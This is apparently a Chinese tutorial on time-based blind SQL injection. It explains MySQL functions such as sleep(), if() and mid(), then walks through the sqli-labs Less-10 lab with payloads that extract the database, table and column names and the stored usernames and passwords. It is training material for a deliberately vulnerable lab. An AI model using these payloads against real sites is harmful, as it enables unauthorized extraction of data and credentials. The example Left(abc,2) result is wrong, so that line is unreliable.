SQL注入之时间型盲注

1.时间型盲注

时间型盲注条件极为苛刻,不管输入什么,WEB页面回显相同的结果,此时我们无法通过报错型注入以及布尔型盲注来爆数据,此时数据在交互完成以后目标网站没有正确和错误的页面回显,这种情况我们可以通过时间函数来判断数据在没有目标数据中得到执行。

2.函数

盲注,其注入就是通过函数的执行结果来猜测数据

Length()函数

其功能为返回字符串的长度
比如length(abc)返回3

Sunstr()函数

其功能为截取字符串
substr(abc,1,1):含义为从abc的第一位开始取数,步长为1,结果显示a

Mid()函数

其功能为取出字符串的一部分值
Mid(abc,1,1):从abc的第一位开始取数,步长为1,与substr()函数用法一致,结果显示为a

Left()函数

其功能为取出字符串左边的几个数据
Left(abc,1):返回a
Left(abc,2):返回bc

Ord()与ASCII()函数

其功能为返回一个字符的ASCII码值
ASCII(s):返回115

Hex()函数

其功能为返回该数的十六进制形式

Sleep() //时间型盲注的核心函数

Sleep(1):表示过1秒后响应,回包1秒之后,页面卡了1秒。

if()函数

if(1=1,3,4)返回3 //true 执行第一个
if(1=2,3,4)返回4 //false 执行第二个

3.Less-10

在less-10中我们就要用到时间型盲注

1.求其闭合方式

此时页面无回显状态,正常的求闭合方式行不通,此时应该用if()与sleep()配合起来,看页面的状态来判断其闭合方式

关键SQL注入语句:
/?id=1’ and if(1=2,1,sleep(10)) --+
/?id=1" and if(1=2,1,sleep(10)) --+
/?id=1) and if(1=2,1,sleep(10)) --+ //如果闭合正确的话,页面将在10s后响应

通过时间的判断,在测其闭合为""时页面卡顿10s,则其闭合方式为""双引号闭合

2.求其库名

(1).判断其数据库的长度

关键SQL注入语句
/?id=1" and if(length(database())>10,sleep(5),1) --+
/?id=1" and if(length(database())>5,sleep(5),1) --+
/?id=1" and if(length(database())>7,sleep(5),1) --+
/?id=1 " and if(length(database())>8,sleep(5),1) --+
可得出数据库名长度为8

(2).判断数据库名首字母

关键SQL注入语句
/?id=1" and if((ord(mid(database(),1,1))>90),sleep(5),1) --+ //判断首字母大小写
/?id=1" and if((ord(mid(database(),1,1))>110),sleep(5),1) --+
/?id=1" and if((ord(mid(database(),1,1))>120),sleep(5),1) --+
/?id=1" and if((ord(mid(database(),1,1))>115),sleep(5),1) --+
/?id=1" and if((ord(mid(database(),1,1))>114),sleep(5),1) --+

可得出其ASCII编码十进制数为115,查表可得其表示字符为"s"


之后的7个库名字母都用同样的方法来查,最终可得其数据库名为security

3.求其表名

在猜其表名时,应该借助程序来查询,因为人为查询过程及其繁琐,且一个数据库中有多张表。

原理同查询库名一样,我们在此可以查询第一个表名长度和首字母作为范例

1.第一张表(范例,之后的表用同样的方法)

已知数据库为security

(1).第一张表长度查询

关键SQL注入语句
/?id=1" and if(length((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1))>10,sleep(5),1) --+

/?id=1" and if(length((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1))>5,sleep(5),1) --+

/?id=1" and if(length((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1))>7,sleep(5),1) --+

/?id=1" and if(length((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1))>8,sleep(5),1) --+
limit 0,1限制控制表的输出,limit 1,1表示输出第二张表
可得第一张表的长度为8

(2).第一张表首字母查询

关键SQL注入语句
/?id=1" and if((ord(mid((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),1,1))>90),sleep(5),1) --+ //判断其首字母的大小写
/?id=1" and if((ord(mid((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),1,1))>100),sleep(5),1) --+

/?id=1" and if((ord(mid((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),1,1))>110),sleep(5),1) --+

/?id=1" and if((ord(mid((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),1,1))>105),sleep(5),1) --+

/?id=1" and if((ord(mid((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),1,1))>101),sleep(5),1) --+

可得其第一张表的首字母ASCII编码十进制数为101,查表可得其表示字母为"e"


之后的5个字母通过控制mid()函数的参数可以查出结果,可得第一张表名为"emails"

之后的几张表用通过修改limit 0,1控制输出可以查出结果,可得第二张表名为"referers",第三张表名为"uagents",第四张表名为"users".

4.求列名

与表一样,一张表里可能有多个列,人为查询相当繁琐,建议通过程序来执行查询

1.第二列

在此处,只以第二列为例

(1).users表中第二列长度查询

注: 此时第二列应修改limit限制,应为limit 1,1

关键SQL注入语句
/?id=1" and if(length((select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘users’ limit 1,1))>10,sleep(5),1) --+

/?id=1" and if(length((select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘users’ limit 1,1))>5,sleep(5),1) --+

/?id=1" and if(length((select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘users’ limit 1,1))>7,sleep(5),1) --+

/?id=1" and if(length((select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘users’ limit 1,1))>8,sleep(5),1) --+

可得users表中,第二列列名长度为8

(2).求users表中第二列列名首字母

关键SQL注入语句
/?id=1" and if((ord(mid((select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘users’ limit 1,1),1,1))>90),sleep(5),1) --+ //判断其首字母的大小写
/?id=1" and if((ord(mid((select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘users’ limit 1,1),1,1))>100),sleep(5),1) --+

/?id=1" and if((ord(mid((select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘users’ limit 1,1),1,1))>110),sleep(5),1) --+

/?id=1" and if((ord(mid((select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘users’ limit 1,1),1,1))>120),sleep(5),1) --+

/?id=1" and if((ord(mid((select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘users’ limit 1,1),1,1))>117),sleep(5),1) --+

/?id=1" and if((ord(mid((select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘users’ limit 1,1),1,1))>116),sleep(5),1) --+

可得users表中第二列首字母ASCII十进制数为117,查表可得其表示字母为"u"


剩下7个字母,通过修改mid()函数参数来实现,最终可得出第二列列名为"username"

之后的几列用通过修改limit 0,1控制输出可以查出结果,可得第一列列名为"id",第三列列名为"password"

5.查数据

已知库名为security,表名为users,列名为username,查数据

(1).查username列中第一行的数据长度

关键SQL注入语句
/?id=1" and if(length((select username from security.users limit 0,1))>10,sleep(5),1) --+

/?id=1" and if(length((select username from security.users limit 0,1))>5,sleep(5),1) --+

/?id=1" and if(length((select username from security.users limit 0,1))>3,sleep(5),1) --+

/?id=1" and if(length((select username from security.users limit 0,1))>4,sleep(5),1) --+

可得其username列中第一行数据长度为4

(2).查username列中第一行数据首字母

关键SQL注入语句:
/?id=1" and if((ord(mid((select username from security.users limit 0,1),1,1))>90),sleep(5),1) --+ //判断其首字母的大小写

/?id=1" and if((ord(mid((select username from security.users limit 0,1),1,1))>65),sleep(5),1) --+

/?id=1" and if((ord(mid((select username from security.users limit 0,1),1,1))>70),sleep(5),1) --+

/?id=1" and if((ord(mid((select username from security.users limit 0,1),1,1))>67),sleep(5),1) --+

/?id=1" and if((ord(mid((select username from security.users limit 0,1),1,1))>68),sleep(5),1) --+

可得其username列第一行数据首字母ASCII编码十进制数为68,查表可得其表示字母为"D"

通过mid()函数参数控制可得,该行数据为Dumb
通过limit 0,1控制可得,其他行的数据

(3).查password列中第一行数据的长度

关键SQL注入语句:
/?id=1" and if(length((select password from security.users limit 0,1))>10,sleep(5),1) --+

/?id=1" and if(length((select password from security.users limit 0,1))>5,sleep(5),1) --+

/?id=1" and if(length((select password from security.users limit 0,1))>3,sleep(5),1) --+

/?id=1" and if(length((select password from security.users limit 0,1))>4,sleep(5),1) --+

可得其password列中第一行数据长度为4

(4).查其password列中第一行数据首字母

关键SQL注入语句:
/?id=1" and if((ord(mid((select password from security.users limit 0,1),1,1))>90),sleep(5),1) --+ //判断其首字母的大小写

/?id=1" and if((ord(mid((select password from security.users limit 0,1),1,1))>65),sleep(5),1) --+

/?id=1" and if((ord(mid((select password from security.users limit 0,1),1,1))>70),sleep(5),1) --+

/?id=1" and if((ord(mid((select password from security.users limit 0,1),1,1))>67),sleep(5),1) --+

/?id=1" and if((ord(mid((select password from security.users limit 0,1),1,1))>68),sleep(5),1) --+

可得其password列第一行数据首字母ASCII编码十进制数为68,查表可得其表示字母为"D"

通过mid()函数参数控制可得,该行数据为Dumb
通过limit 0,1控制可得,其他行的数据

由此可以的出第一个用户的数据,用户名username:Dumb 密码:password:Dumb

用同样的方法可求出其他用户名和密码

web安全入门之SQL注入-时间型盲注相关推荐

  1. iwebsec靶场 SQL注入漏洞通关笔记4- sleep注入(时间型盲注)

    系列文章目录 iwebsec靶场 SQL注入漏洞通关笔记1- 数字型注入_mooyuan的博客-CSDN博客 iwebsec靶场 SQL注入漏洞通关笔记2- 字符型注入(宽字节注入)_mooyuan的 ...

  2. SQL注入学习——Bool盲注详解 sqli-labs(Less 8)

    文章目录 前言: 一.Bool盲注常用的函数: 二.Less8 布尔型单引号GET盲注 1.查数据库版本 2.猜解数据库的长度 3.猜数据库名字 4.猜解表名 5.猜解字段名 6.猜解数据 三.脚本注 ...

  3. sql注入学习——布尔盲注

    前言:之前通过前九关学习到了回显注入.报错注入等一些方法,这次就来详细的学习布尔盲注. 首先来了解一下盲注的概念 盲注是注入的一种,指的是在不知道数据库返回值的情况下对数据中的内容进行猜测,实施SQL ...

  4. sqli中时间型盲注和布尔型盲注实现

    布尔型注入: 等待时间较长,但容易受网络波动影响,所以无法作为绝对判断条件. ②利用length语句判断数据库长度 http://127.0.0.1/sqli/Less-8/?id=1' and le ...

  5. web 漏洞入门之 —— SQL 注入教程

    SQL 注入是最常见.最被人们熟知的 web 漏洞.根据百科的解释:所谓SQL注入,就是通过把SQL命令,插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令. ...

  6. SQL注入之布尔盲注——sql-lab第八关

    布尔盲注简介 什么是盲注 盲注其实是sql注入的一种,之所以称为盲注是因为他不会根据你sql注入的攻击语句返回你想要知道的错误信息. [之前在做联合注入第一关的时候,用union select语句注入 ...

  7. SQL注入原理-布尔盲注

    小伙伴们大家好,今天为大家带来的使SQL注入原理之布尔盲注. 目录 布尔盲注使用的环境 常用函数与语句 substr()函数 ord()函数 length()函数 实战演示 1.判断是否存在注入点 2 ...

  8. 山东大学软件学院项目实训-创新实训-山大软院网络攻防靶场实验平台(六)-SQL注入数字型

    目录 前言: 一.SQL 注入漏洞简介 1.简介 2.危害 3.利用 4.防范 二.相关配置 三.编写"SQL 注入漏洞-数字型注入"后端代码 1.使用 springboot 框架 ...

  9. SQL注入——基于时间的盲注(九)

    本章目的 普及延时盲注技术的运用场景及条件,熟悉length().Substr().ascii().sleep().if()等函数的用法,掌握基于时间的盲注基本流程.PS:面试问答不深问就回答延迟 基 ...

最新文章

  1. 职称计算机 菏泽,山东菏泽2016年职称计算机首批考试时间
  2. 微软宣布 Power Fx 开源
  3. IOC操作Bean管理XML方式(bean 的生命周期)
  4. mysql怎么多重查询_mysql基于值的多重查询
  5. lora网关软件设计_SX1301网关设计 LoRaWAN网关 评估开发套件sx1278双向测试云平台LPKT001...
  6. npm install失败的解决方法
  7. 国足输韩国,柯洁很生气,后果很严重……
  8. 用c语言计算sin计算器,C语言计算器
  9. unicode编码表查询
  10. 惠普打印机故障代码_HP激光打印机常见故障代码
  11. java面试题及答案2020 (二十五)
  12. 二进位注册文件_注册表导入时提示导入文件不是注册脚本,只能导入二进位注册文件...
  13. ppt插入html(用office而不是wps)
  14. 手机虚拟摄像头_用手机当摄像头开直播 无他相机推荐
  15. Microsoft Store微软应用商店打不开怎么办?完美解决方案!
  16. 计算前复权和后复权价格?A股复权因子的使用
  17. 聊一聊如何把SSL证书安装到小鸟云服务器上
  18. html视频标签video旋转播放方向,video视频文件有方向怎么处理?
  19. 笔试 | 数字IC设计之1bit的半加器、全加器实现
  20. Palindrome Numer

热门文章

  1. 神仙程序媛小姐姐的23个Java设计模式 ,全站式保姆的Java教程导航帖(已完结)
  2. 23个经过时间考验的应用程序,可以管理您的远程软件开发团队
  3. python os.path.abspath()与os.path.realpath()区别
  4. xz压缩解压工具的安装
  5. 一场羽绒服直播GMV狂涨430%,反季热销的秘诀原来是这个?
  6. 计算机的定点运算器原理,优·计算机组成原理 定点运算器的组成和结构.doc
  7. 单片机 软件延时时间控制
  8. Java面试手写编程题(面试官经常让人手写)
  9. Python网络爬虫入门(五)—— 巧用抓包,爬遍SCU玻璃杯事件所有神回复
  10. /boot空间不足的解决办法